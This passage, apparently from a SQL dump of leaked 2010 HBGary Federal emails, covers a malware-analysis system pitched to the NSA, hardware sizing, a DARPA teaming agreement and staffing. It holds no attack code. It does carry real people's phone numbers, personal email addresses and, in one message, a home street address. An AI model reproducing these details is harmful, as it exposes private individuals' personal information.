system.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSuppose we got the order on May 1.&nbsp; How\r\nlong would it take us to ship usable software?\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIt is my understanding that we cannot share our\r\nexisting malware with customers.&nbsp; Is this true?\r\n\r\n&nbsp;\r\n\r\nThanks for answering these questions quickly as we want to\r\nsubmit an unsolicited proposal this week while the iron is hot.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2097,'aaron_hbgary_com/2097.html'),(4092,'2010-03-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002167.M178256P3547Q4093.eml','\"Aaron Barr\" <adbarr@mac.com>','Notes on COIN','Company\r\nWeb Development/Mobile Development\r\nFortune 500 Companies\r\n\r\nISP -\r\nOperations -\r\nLanguage/Culture -\r\nMedia Development -\r\nMarketing and Advertising -\r\nSecurity -\r\nMOE -\r\n\r\nCapabilities\r\nMobile Development\r\n\r\nChallenges\r\nMOE\r\nInfrstructure\r\nSecurity\r\n\r\nhttp://www.americaneagle.com/\r\nhttp://www.leoindus.com/\r\nhttp://xcubelabs.com/\r\nhttp://www.imgworld.com\r\nhttp://www.gotvnetworks.com\r\nhttp://www.akamai.com/\r\n\r\nhttp://www.mobclix.com/\r\nhttp://www.openmarket.com/\r\nhttp://www.5thfinger.com/\r\nhttp://www.mobilemarketer.com/\r\nhttp://www.gomonews.com/mads/\r\n\r\nThe Lincoln Group\r\n\r\nhttp://socialmention.com/\r\n\r\nlocation based based services. \r\n  \r\n',13909,'aaron_hbgary_com/13909.html'),(4093,'2010-03-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002167.M395P3547Q4092.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: Interesting...','From my iPhoneBegin forwarded message:From: &quot;Lirette, Dave (TASC)&quot; &lt;David.P.Lirette@TASC.COM&gt;\r\nDate: March 15, 2010 2:18:41 PM EDTTo: &lt;aaron@hbgary.com&gt;, &lt;ted@hbgary.com&gt;Subject: Interesting...\r\n\r\n\r\n\r\n\r\nhttp://www.dodbuzz.com/2010/03/15/black-cyber-ops-on-rise/\r\n\r\n\r\n \r\n\r\n \r\n\r\nDavid\r\nP. Lirette \r\n',9008,'aaron_hbgary_com/9008.html'),(4094,'2010-03-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002167.M607702P3547Q4094.eml','\"Tillman, Michael K (IS)\" <michael.tillman@ngc.com>','Re: Long Time','Hi Mike,Sorry I didn\'t make it over to say hello. &nbsp;Our meeting with Dave and his team seemed to have gone really well and really long.Let me give you a little background so you can better inform or direct any folks that might be interested in our company.HBGary is a product company that builds malware detection, analysis, incident response, and threat intelligence products. &nbsp;HBGary Federal (my company) is a sister company that delivers high end services in those areas to government and industry. &nbsp;I don\'t want to staff a watch center, I want to put one or a few specialized people into watch centers that can help the organization make better use out of the resources they have. &nbsp;To start by being fully trained on some of the best tools out there today for malware analysis, incident response, and threat intelligence.I have built a consortium of small companies that are \"best of breed\" in a particular parallel in cyber (software, host, network, external, social) and putting together an end to end threat intelligence capability. &nbsp;The data from these parallel sources is brought into Palantir to develop and mature cyber operations scenarios. &nbsp;Once developed and matured as new operations happen we can more rapidly correlate information and I believe do attribution as well. &nbsp;The stored scenarios are also a great resource for the rest of the organization to understand cyber operations. &nbsp;Every organization typically has 1 or 2 really good analysts, the rest are \"in-training\". &nbsp;This solves the knowledge management problem.A few key contracts I am focused on right now at NSA and talking with companies on teaming.NANA - potential awardees have asked for staffing support.ANO - I think we will end up having a 1 or 2 people here to start.NTOC - looking at teaming now for that re-compete.Relationship positions. &nbsp;I know a few folks that have told me if I find qualified candidates in the areas I mentioned above they will have a spot for them.Thanks Mike. &nbsp;Look forward to catching up sometime.AaronOn Mar 13, 2010, at 1:34 AM, Tillman, Michael K (IS) wrote:  Aaron - I actually know a few guys with the tickets you seek that are looking or will be looking for work here in the near future.&nbsp;  I attend a daily 0830 mtg that Dave chairs so please stop by if you\'ve got time.  Semper Fidelis,   Michael K. Tillman Manager, JTF-GNO J34 Assignees Section Northrop Grumman Information Systems 2710 Technology Drive Annapolis Junction, MD Comm: 443-654-0689 Cell: 443-280-0040 E-mail: michael.tillman@ngc.com Alt E-mail: badgemini77@yahoo.com Blackberry: Mrtill1@tmo.blackberry.net  \"Talent is God-given. Be humble. Fame is man-given. Be grateful. Conceit is self-given. Be careful.\" -John Wooden    -----Original Message----- From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Fri 3/12/2010 5:15 PM To: Smith, Dwayne R (IS); Tillman, Michael K (IS) Subject: Long Time  Hi Guys,  Hope things are slowing down for you a bit.&nbsp; You might have heard that I am not with Northrop any longer, now running a small sister company to HBGary, Inc.&nbsp; focused on cyber intelligence and malware analysis/incident response.&nbsp; I know how well connected you are up there, if you run across any folks that are in that space with tickets that are looking could you pass them my way?&nbsp; Its usually a fist fight for qualified folks and I have a few opportunities coming up to fill spots so starting to look.  BTW, I am going to be up there on Monday around 1pm to talk with Dave Luber from the ANO, I would like to say hi.  Have a good weekend.  Aaron Barr CEO HBGary Federal Inc.        ',9631,'aaron_hbgary_com/9631.html'),(4095,'2010-03-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002167.M817186P3547Q4095.eml','\"Aaron Barr\" <adbarr@mac.com>','Fwd: Security Briefing','Begin forwarded message:From: \"Willson, Jonathan G (TASC Inc)\" &lt;Jonathan.G.Willson@tasc.com&gt;Date: March 10, 2010 9:31:02 AM ESTTo: &lt;aaron@hbgary.com&gt;Subject: Security Briefing   Aaron Barr,I have received notification that your clearance request has been approved. You will need to attend our security briefing for indoctrination in to your SCI accesses. This briefing is offered every week at the following times: Tuesday, 8:30 am Thursday, 8:30 am Please let me know by 2:00 pm the day before the scheduled briefing which date will work best for you (reply all). All the briefings are held at 4801 Stonecroft Blvd. Jonathan Willson Personnel Security Northrop Grumman TASC 4801 Stonecroft Blvd. Chantilly, VA 20151 703.653.5779 (phone)703.633.8460 (fax)  ',4884,'aaron_hbgary_com/4884.html'),(4096,'2010-03-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002168.M227127P3547Q4097.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Threat Monitoring Center for NSA','Good morning.  What looks good for you today and where?AaronFrom my iPhoneOn Mar 16, 2010, at 7:43 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n \r\n\r\nPlease don’t get spun up on this\r\nyet until further notice.   I haven’t spoken with Bob about this yet and there are\r\nsome things that need to happen before you guys stop what you’re doing to get\r\nthis done this week.\r\n\r\n \r\n\r\nThx,\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, March 15, 2010 9:51 PM\r\nTo: scott@hbgary.com; &#39;Greg Hoglund&#39;\r\nCc: &#39;Aaron Barr&#39;; &#39;Rich Cummings&#39;\r\nSubject: Threat Monitoring Center for NSA\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nScott and Greg,\r\n\r\n \r\n\r\nAaron and Rich visited the NSA Advanced Network Operations\r\ngroup today and pitched HBGary’s feed processor.  The idea is that we\r\nwould license them the HBGary software for around $300k to $500k and HBGary Federal\r\nwould put 2 cleared people onsite to run it.  Since HBG Fed people are the\r\nones to use it there is no need to create commercial grade software.  It\r\nis similar to the consulting model where we provide a “capability” and sell\r\nconsulting services.  \r\n\r\n \r\n\r\nSelling and staffing this system would put HBGary in the\r\ncenter of the gov’t malware universe.  The best and brightest people are\r\nat NSA.  And this is where the new cyber command is being headed up. \r\nThis system would provide HBGary with amazing feedback for making the s/w\r\nbetter.\r\n\r\n \r\n\r\nI need your help to create a short proposal.  Please\r\nanswer the following questions.\r\n\r\n·        \r\nWhat would the hardware configuration be for 20k\r\nmalware per day?  System cost not counting HBGary software?  (Don’t\r\nforget vmware, windows, etc.)\r\n\r\n·        \r\nWhat would the hardware configuration be for 50k\r\nmalware per day?  System cost?\r\n\r\n·        \r\nPenny said we might be able to use $500 Gateway\r\ncomputers.  Is this better for the customer than ESX or ESXi servers?\r\n\r\n·        \r\nAssuming the system is running 24x7 what class\r\nof computer is needed for this workload?  Wouldn’t cheap Gateway computers\r\nend up breaking?\r\n\r\n·        \r\nHow many VMs per computer would run?\r\n\r\n·        \r\nHow long would it take on average to analyze one\r\nmalware sample?\r\n\r\n·        \r\nHow do we load balance the work across multiple\r\ncomputers and/or servers?\r\n\r\n·        \r\nWhat are the expected “features” of the\r\nsystem?   What will the system do?  Here is my take……..\r\n\r\no  \r\nEach malware is executed inside of a\r\nREcon/vmware system\r\n\r\no  \r\nInstructions and low level runtime behaviors are\r\nharvested into a journal file\r\n\r\no  \r\nThe vm is suspended and a memory snapshot is\r\ntaken\r\n\r\no  \r\nWPMA analyzes the memory image and DDNA is\r\ncreated\r\n\r\no  \r\nThe REcon data in the journal file is analyzed\r\n\r\no  \r\nA report is generated with both DDNA and REcon\r\ndata\r\n\r\no  \r\nWhat other features are pretty much there now\r\nthat I haven’t listed?\r\n\r\n·        \r\nDescribe the user interface to the system.\r\n\r\n·        \r\nSuppose we got the order on May 1.  How\r\nlong would it take us to ship usable software?\r\n\r\n·        \r\nIt is my understanding that we cannot share our\r\nexisting malware with customers.  Is this true?\r\n\r\n \r\n\r\nThanks for answering these questions quickly as we want to\r\nsubmit an unsolicited proposal this week while the iron is hot.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7508,'aaron_hbgary_com/7508.html'),(4097,'2010-03-16','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297002168.M25451P3547Q4096.eml','\"Bob Slapnik\" <bob@hbgary.com>,scott@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Threat Monitoring Center for NSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n \r\n\r\nPlease don’t get spun up on this\r\nyet until further notice.   I haven’t spoken with Bob about this yet and there are\r\nsome things that need to happen before you guys stop what you’re doing to get\r\nthis done this week.\r\n\r\n \r\n\r\nThx,\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, March 15, 2010 9:51 PM\r\nTo: scott@hbgary.com; &#39;Greg Hoglund&#39;\r\nCc: &#39;Aaron Barr&#39;; &#39;Rich Cummings&#39;\r\nSubject: Threat Monitoring Center for NSA\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nScott and Greg,\r\n\r\n \r\n\r\nAaron and Rich visited the NSA Advanced Network Operations\r\ngroup today and pitched HBGary’s feed processor.  The idea is that we\r\nwould license them the HBGary software for around $300k to $500k and HBGary Federal\r\nwould put 2 cleared people onsite to run it.  Since HBG Fed people are the\r\nones to use it there is no need to create commercial grade software.  It\r\nis similar to the consulting model where we provide a “capability” and sell\r\nconsulting services.  \r\n\r\n \r\n\r\nSelling and staffing this system would put HBGary in the\r\ncenter of the gov’t malware universe.  The best and brightest people are\r\nat NSA.  And this is where the new cyber command is being headed up. \r\nThis system would provide HBGary with amazing feedback for making the s/w\r\nbetter.\r\n\r\n \r\n\r\nI need your help to create a short proposal.  Please\r\nanswer the following questions.\r\n\r\n·        \r\nWhat would the hardware configuration be for 20k\r\nmalware per day?  System cost not counting HBGary software?  (Don’t\r\nforget vmware, windows, etc.)\r\n\r\n·        \r\nWhat would the hardware configuration be for 50k\r\nmalware per day?  System cost?\r\n\r\n·        \r\nPenny said we might be able to use $500 Gateway\r\ncomputers.  Is this better for the customer than ESX or ESXi servers?\r\n\r\n·        \r\nAssuming the system is running 24x7 what class\r\nof computer is needed for this workload?  Wouldn’t cheap Gateway computers\r\nend up breaking?\r\n\r\n·        \r\nHow many VMs per computer would run?\r\n\r\n·        \r\nHow long would it take on average to analyze one\r\nmalware sample?\r\n\r\n·        \r\nHow do we load balance the work across multiple\r\ncomputers and/or servers?\r\n\r\n·        \r\nWhat are the expected “features” of the\r\nsystem?   What will the system do?  Here is my take……..\r\n\r\no  \r\nEach malware is executed inside of a\r\nREcon/vmware system\r\n\r\no  \r\nInstructions and low level runtime behaviors are\r\nharvested into a journal file\r\n\r\no  \r\nThe vm is suspended and a memory snapshot is\r\ntaken\r\n\r\no  \r\nWPMA analyzes the memory image and DDNA is\r\ncreated\r\n\r\no  \r\nThe REcon data in the journal file is analyzed\r\n\r\no  \r\nA report is generated with both DDNA and REcon\r\ndata\r\n\r\no  \r\nWhat other features are pretty much there now\r\nthat I haven’t listed?\r\n\r\n·        \r\nDescribe the user interface to the system.\r\n\r\n·        \r\nSuppose we got the order on May 1.  How\r\nlong would it take us to ship usable software?\r\n\r\n·        \r\nIt is my understanding that we cannot share our\r\nexisting malware with customers.  Is this true?\r\n\r\n \r\n\r\nThanks for answering these questions quickly as we want to\r\nsubmit an unsolicited proposal this week while the iron is hot.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',4587,'aaron_hbgary_com/4587.html'),(4098,'2010-03-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002168.M590532P3547Q4098.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Antacid','All done.\r\n\r\n From my iPhone\r\n\r\nOn Mar 15, 2010, at 9:49 AM, \"Clair, Chris (TASC)\"  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> We have not met with Abraxis yet.  I\'ll pass on the RavenWing notion\r\n> to\r\n> John.\r\n>\r\n> John - Do we have any contacts at RavenWing?\r\n>\r\n> Thanks,\r\n>\r\n> Chris\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Sunday, March 14, 2010 12:09 PM\r\n> To: Clair, Chris (TASC)\r\n> Cc: Ted Vera\r\n> Subject: Antacid\r\n>\r\n> Hey chris,\r\n>\r\n> Have you all talked with abraxis, and if so how did it go?  Might be a\r\n> good idea to talk with RavenWing as another potential infrastructure\r\n> capability.  We might be able to improve their existing capability.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',4912,'aaron_hbgary_com/4912.html'),(4099,'2010-03-16','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002168.M789994P3547Q4099.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Antacid','Hi Aaron - are you in WF1?  Please call me at 703-449-3964.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 16, 2010 9:46 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Antacid\r\n\r\nAll done.\r\n\r\n From my iPhone\r\n\r\nOn Mar 15, 2010, at 9:49 AM, \"Clair, Chris (TASC)\"\r\n wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> We have not met with Abraxis yet.  I\'ll pass on the RavenWing notion\r\n> to\r\n> John.\r\n>\r\n> John - Do we have any contacts at RavenWing?\r\n>\r\n> Thanks,\r\n>\r\n> Chris\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Sunday, March 14, 2010 12:09 PM\r\n> To: Clair, Chris (TASC)\r\n> Cc: Ted Vera\r\n> Subject: Antacid\r\n>\r\n> Hey chris,\r\n>\r\n> Have you all talked with abraxis, and if so how did it go?  Might be a\r\n> good idea to talk with RavenWing as another potential infrastructure\r\n> capability.  We might be able to improve their existing capability.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',4865,'aaron_hbgary_com/4865.html'),(4100,'2010-03-16','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002169.M240283P3547Q4100.eml','\"Aaron Barr\" <aaron@hbgary.com>','Are you going today?','\r\n\r\n\r\n\r\n\r\nAre you going today?\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',6981,'aaron_hbgary_com/6981.html'),(4101,'2010-03-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002169.M506195P3547Q4101.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,martin@hbgary.com','TMC assets',' \r\nAaron,\r\n \r\nHBGary has a second generation TMC under development.  What I am struggling with at the moment is how we can deliver that to HBGary Federal and both of our customer bases.  As it stands, the TMC consists of:\r\n \r\n1) array of inexpensive computers with a licensed host OS (windows)\r\n2) job management software which is installed on each computing node\r\n3) commercial copy of VMWare Workstation on each computing node\r\n4) three licensed copies of windows XP on each computing node (VM hosted)\r\n5) licensed copy of DDNA.EXE for each computing node\r\n6) a master node with mysql installed, a server version of windows, and multiple terabytes of drive storage\r\n7) a set of master server management programs\r\n8) an analyst application called &#39;stalker&#39; that performs\r\n  - job management\r\n  - statistical query tools for building DDNA\r\n  - graphical link analysis canvas\r\n \r\nAs you know, each computing node can process between 1,000 - 2,000 malware samples per day.  This scales linearly.\r\n \r\nWe have two ways we can do this:\r\n \r\nA) throw all of the above in a cardboard box, train a person how to assemble, and push them out of the airplane and expect to make money on the billable service hours\r\nB) productize the above and make everything installable / licenseable / supported and get license revenue for it, and still make service revenue\r\n \r\n-Greg\r\n \r\n \r\n \r\n',5840,'aaron_hbgary_com/5840.html'),(4102,'2010-03-16','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002169.M802787P3547Q4102.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','Urgent - Meeting Required - Cost Volume Discussions - Cyber Genome','\r\n\r\n\r\n\r\n\r\nHello \r\nTed,\r\n&nbsp;\r\nWe have the following \r\ncritical actions that need to be accomplished to ensure accurate completion of \r\nthe Pricing Template:\r\n&nbsp;\r\n&nbsp;\r\n(1) GDAIS requires a \r\nmeeting today (before 4:00 ET) with your company\'s pricer who is populating \r\nthe sanitized and unsanitized RFP Attachment 9 Pricing Templates.&nbsp; The \r\npurpose of this meeting is to discuss the formatting of the templates and \r\ncompliance to DARPA BAA requirements.&nbsp; GDAIS created this template&nbsp;so \r\nthat each teammate\'s cost volume&nbsp;is identical in approach and will be \r\ncompliant to the BAA requirements; this&nbsp;information will be incorporated \r\ninto GDAIS Cost Volume.&nbsp; We are finding disconnects in pricing received to \r\ndate from our team and and thus require this meeting.&nbsp; Rex Brunelli and \r\nChris Starr will be discussing the templates with you during the \r\ncall.\r\n&nbsp;\r\nPlease email the name of \r\nyour pricer, his/her email address and phone&nbsp;number, and the&nbsp;pricer\'s \r\navailability for a conference call today.\r\n&nbsp;\r\n(2)&nbsp; Yesterday we \r\nprovided you a revised travel/milestones table.&nbsp; The following is a change \r\nto that information:\r\n\r\n  \r\n  Please remove&nbsp; \r\n  the IV&amp;V for period 1a and 2a,&nbsp;(two trips) - \r\n  this change will also be discussed during today\'s call with your \r\n  pricer.\r\nPlease respond to this email \r\nwithin the next half hour if possible.\r\nThank you.\r\nCindy \r\nLarson\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n',6996,'aaron_hbgary_com/6996.html'),(4103,'2010-03-16','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002170.M242906P3547Q4104.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','RE: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program','\r\n\r\n\r\n\r\n\r\nHi Ted,\r\n&nbsp;\r\nCan you get back to me today please.&nbsp; I will be OOP for a \r\nfuneral starting at noon&nbsp;on Tuesday, 3/23&nbsp;and won\'t return until \r\nFriday.&nbsp; I\'d like to complete this before the 23rd.\r\n&nbsp;\r\nPlease advise.\r\n&nbsp;\r\nRegards,\r\nCindy\r\n\r\n  \r\n  \r\n  From: Larson, Cindy S. Sent: \r\n  Monday, March 15, 2010 2:03 PMTo: \'Ted Vera\'Cc: \'Barr \r\n  Aaron\'; Vela, Ryan; Harlow, Douglas M.; Starr, Christopher \r\n  H.Subject: RE: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber \r\n  Genome ProgramImportance: High\r\n  \r\n  Hi Ted,\r\n  &nbsp;\r\n  Please provide status of your review to our Teaming Agreement \r\n  and your anticipated response date.&nbsp; I will be OOP starting at noon on \r\n  March 23rd and would like to finalize the agreement before \r\n  then.\r\n  &nbsp;\r\n  Regards,\r\n  &nbsp;\r\n  Cindy Larson\r\n  \r\n    \r\n    \r\n    From: Larson, Cindy S. Sent: \r\n    Wednesday, March 10, 2010 8:46 AMTo: \'Ted Vera\'Cc: \r\n    \'Barr Aaron\'; Vela, Ryan; Harlow, Douglas M.Subject: GDAIS \r\n    Teaming Agreement - TA #1 - HBGary - Cyber Genome \r\n    ProgramImportance: High\r\n    \r\n    Dear Mr. \r\n    Vera:\r\n    &nbsp;\r\n    \r\n    Attached is GDAIS \r\n    Teaming Agreement that is to be executed between our companies in support of \r\n    the Cyber Genome Program.&nbsp; Please review and if acceptable as written, \r\n    complete Article 13. Notices, sign and return to me.&nbsp; I\'ll then sign \r\n    and return a fully executed Agreement to you.\r\n    &nbsp;\r\n    If you have any \r\n    comments to this document, please email them to me ASAP (this week) and we \r\n    can work to resolution.\r\n    &nbsp;\r\n    Regards,\r\n    &nbsp;\r\n    Cindy \r\n    Larson\r\n    GDAIS Sr. Lead \r\n    Specialist, \r\nContracts\r\n',8027,'aaron_hbgary_com/8027.html'),(4104,'2010-03-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002170.M56981P3547Q4103.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: TMC assets','NSA is going to want to do this as a single contract where you will be\r\nable to charge licencing fees regardless of v1 or v2, directly to\r\nHBGary fed.  We can just work it out internally.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 16, 2010, at 11:23 AM, Greg Hoglund  wrote:\r\n\r\n>\r\n> Aaron,\r\n>\r\n> HBGary has a second generation TMC under development.  What I am\r\n> struggling with at the moment is how we can deliver that to HBGary\r\n> Federal and both of our customer bases.  As it stands, the TMC\r\n> consists of:\r\n>\r\n> 1) array of inexpensive computers with a licensed host OS (windows)\r\n> 2) job management software which is installed on each computing node\r\n> 3) commercial copy of VMWare Workstation on each computing node\r\n> 4) three licensed copies of windows XP on each computing node (VM\r\n> hosted)\r\n> 5) licensed copy of DDNA.EXE for each computing node\r\n> 6) a master node with mysql installed, a server version of windows,\r\n> and multiple terabytes of drive storage\r\n> 7) a set of master server management programs\r\n> 8) an analyst application called \'stalker\' that performs\r\n>   - job management\r\n>   - statistical query tools for building DDNA\r\n>   - graphical link analysis canvas\r\n>\r\n> As you know, each computing node can process between 1,000 - 2,000\r\n> malware samples per day.  This scales linearly.\r\n>\r\n> We have two ways we can do this:\r\n>\r\n> A) throw all of the above in a cardboard box, train a person how to\r\n> assemble, and push them out of the airplane and expect to make money\r\n> on the billable service hours\r\n> B) productize the above and make everything installable /\r\n> licenseable / supported and get license revenue for it, and still\r\n> make service revenue\r\n>\r\n> -Greg\r\n>\r\n>\r\n>\r\n',137,'aaron_hbgary_com/137.html'),(4105,'2010-03-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002174.M137506P3547Q4105.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,,,','Re: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program','Attached is the signed TA, please send us a copy of the fully executed\r\nagreement for our records.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Mar 16, 2010 at 10:47 AM, Larson, Cindy S.\r\n wrote:\r\n> Hi Ted,\r\n>\r\n> Can you get back to me today please.  I will be OOP for a funeral starting\r\n> at noon on Tuesday, 3/23 and won\'t return until Friday.  I\'d like to\r\n> complete this before the 23rd.\r\n>\r\n> Please advise.\r\n>\r\n> Regards,\r\n> Cindy\r\n>\r\n> ________________________________\r\n> From: Larson, Cindy S.\r\n> Sent: Monday, March 15, 2010 2:03 PM\r\n> To: \'Ted Vera\'\r\n> Cc: \'Barr Aaron\'; Vela, Ryan; Harlow, Douglas M.; Starr, Christopher H.\r\n> Subject: RE: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program\r\n> Importance: High\r\n>\r\n> Hi Ted,\r\n>\r\n> Please provide status of your review to our Teaming Agreement and your\r\n> anticipated response date.  I will be OOP starting at noon on March 23rd and\r\n> would like to finalize the agreement before then.\r\n>\r\n> Regards,\r\n>\r\n> Cindy Larson\r\n>\r\n> ________________________________\r\n> From: Larson, Cindy S.\r\n> Sent: Wednesday, March 10, 2010 8:46 AM\r\n> To: \'Ted Vera\'\r\n> Cc: \'Barr Aaron\'; Vela, Ryan; Harlow, Douglas M.\r\n> Subject: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program\r\n> Importance: High\r\n>\r\n> Dear Mr. Vera:\r\n>\r\n> Attached is GDAIS Teaming Agreement that is to be executed between our\r\n> companies in support of the Cyber Genome Program.  Please review and if\r\n> acceptable as written, complete Article 13. Notices, sign and return to me.\r\n> I\'ll then sign and return a fully executed Agreement to you.\r\n>\r\n> If you have any comments to this document, please email them to me ASAP\r\n> (this week) and we can work to resolution.\r\n>\r\n> Regards,\r\n>\r\n> Cindy Larson\r\n> GDAIS Sr. Lead Specialist, Contracts\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1903,'aaron_hbgary_com/1903.html'),(4106,'2010-03-16','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297002174.M403615P3547Q4106.eml','\"Aaron Barr\" <aaron@hbgary.com>','I\'m sorry i\'m still at home. - there is a huge incident in Houston - 	i\'m taking a flight at 5:15PM','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to come to my house?  If so Its 12573\r\nmountain road Lovettsville Va.  Calling you now.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',13617,'aaron_hbgary_com/13617.html'),(4107,'2010-03-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002177.M203402P3547Q4107.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,,,','Re: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program','Attached is the signed TA, please send us a copy of the fully executed\r\nagreement for our records.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Mar 16, 2010 at 10:47 AM, Larson, Cindy S.\r\n wrote:\r\n> Hi Ted,\r\n>\r\n> Can you get back to me today please.  I will be OOP for a funeral starting\r\n> at noon on Tuesday, 3/23 and won\'t return until Friday.  I\'d like to\r\n> complete this before the 23rd.\r\n>\r\n> Please advise.\r\n>\r\n> Regards,\r\n> Cindy\r\n>\r\n> ________________________________\r\n> From: Larson, Cindy S.\r\n> Sent: Monday, March 15, 2010 2:03 PM\r\n> To: \'Ted Vera\'\r\n> Cc: \'Barr Aaron\'; Vela, Ryan; Harlow, Douglas M.; Starr, Christopher H.\r\n> Subject: RE: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program\r\n> Importance: High\r\n>\r\n> Hi Ted,\r\n>\r\n> Please provide status of your review to our Teaming Agreement and your\r\n> anticipated response date.  I will be OOP starting at noon on March 23rd and\r\n> would like to finalize the agreement before then.\r\n>\r\n> Regards,\r\n>\r\n> Cindy Larson\r\n>\r\n> ________________________________\r\n> From: Larson, Cindy S.\r\n> Sent: Wednesday, March 10, 2010 8:46 AM\r\n> To: \'Ted Vera\'\r\n> Cc: \'Barr Aaron\'; Vela, Ryan; Harlow, Douglas M.\r\n> Subject: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program\r\n> Importance: High\r\n>\r\n> Dear Mr. Vera:\r\n>\r\n> Attached is GDAIS Teaming Agreement that is to be executed between our\r\n> companies in support of the Cyber Genome Program.  Please review and if\r\n> acceptable as written, complete Article 13. Notices, sign and return to me.\r\n> I\'ll then sign and return a fully executed Agreement to you.\r\n>\r\n> If you have any comments to this document, please email them to me ASAP\r\n> (this week) and we can work to resolution.\r\n>\r\n> Regards,\r\n>\r\n> Cindy Larson\r\n> GDAIS Sr. Lead Specialist, Contracts\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5098,'aaron_hbgary_com/5098.html'),(4108,'2010-03-16','\"Larson, 